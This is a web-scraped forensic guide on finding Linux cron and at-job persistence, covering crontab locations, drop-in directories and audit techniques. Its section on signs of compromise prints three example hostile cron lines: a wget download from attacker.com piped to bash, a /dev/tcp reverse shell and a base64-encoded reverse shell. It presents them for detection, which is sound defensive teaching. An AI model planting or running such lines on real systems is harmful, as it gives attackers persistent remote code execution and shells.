Cron.d Drop-in (/etc/cron.d/)
Contains configuration files identical in syntax to /etc/crontab. Attackers often drop disguised files here (e.g., update-service-bin) to blend in with legitimate package schedules.
Unlike Windows environments where persistence mechanisms are often centralized (e.g., the Registry or a single Task Scheduler interface), Linux scheduling artifacts are highly decentralized. A thorough post-mortem investigation on a mounted forensic image (e.g., /mnt/analysis/) requires inspecting multiple distinct locations.
Every user on the system, including service accounts, can maintain an individual cron table. Threat actors frequently hijack service accounts (like www-data or postgres) to hide their persistence.
/var/spool/cron/crontabs//var/spool/cron/The primary configuration file for system-wide tasks. Unlike user crontabs, this file contains an additional column specifying the user context under which the command will execute. Attackers append lines here to grant themselves root execution privileges.
/etc/crontabLinux distributions utilize modular directories for installed packages to place their own scheduling configurations or executable scripts.
Cron.d Drop-in (/etc/cron.d/)
Contains configuration files identical in syntax to /etc/crontab. Attackers often drop disguised files here (e.g., update-service-bin) to blend in with legitimate package schedules.
Periodic Scripts (/etc/cron.hourly|daily...)
These directories do not contain cron configurations, but rather executable shell scripts. Attackers simply drop a malicious bash script (e.g., backdoor.sh) into /etc/cron.hourly/ to ensure systematic execution.
While Cron is designed for recurring tasks, the at utility schedules commands for a single, future execution.
Threat actors leverage at jobs for tactical delays (e.g., executing a destructive wiping script three hours after they disconnect) or for asynchronous lateral movement.
/var/spool/at/ or /var/spool/cron/atjobs/at job files contain the entire environment variable state and the exact command to be executed. Although they are automatically deleted upon execution, recovering a pending or orphaned at job provides definitive proof of planned malicious activity.When auditing crontabs and scheduled scripts, analysts must search for specific syntax anomalies and execution patterns indicating compromise.
Payload Droppers & In-Memory Execution:
Commands utilizing wget or curl pointing to external IPs or suspicious domains (like raw GitHub gists or Pastebin), often piped directly into a shell.
* * * * * root /usr/bin/wget -q -O - http://attacker.com/beacon.sh | bashReverse Shells (C2 Beacons): Classic one-liners attempting to establish outbound connections to a Command and Control server.
@hourly www-data bash -i >& /dev/tcp/192.168.1.50/4444 0>&1Execution from Writable Directories:
Any scheduled task executing a binary or script located in world-writable directories such as /tmp/, /var/tmp/, or /dev/shm/ is highly indicative of malware staging.
Obfuscation (Base64): Long, randomized strings designed to evade simple string-matching detection.
*/5 * * * * root echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuNS84MDgwIDA+JjE=" | base64 -d | shTo effectively analyze cron persistence, DFIR teams must apply specific correlation and analysis techniques.
crontab -l command, which only displays the current user’s schedule. Analysts must manually parse the entire file system tree (/etc/cron* and /var/spool/cron*)./usr/local/bin/backup.sh), analysts must inspect the content of backup.sh. Attackers frequently append malicious execution lines to the very end of legitimate maintenance scripts to avoid detection.mtime (modification time) of files within the cron.daily or cron.d directories. If a script’s modification date aligns with the suspected intrusion window—while all surrounding system scripts date back to the OS installation—it is a confirmed artifact of compromise.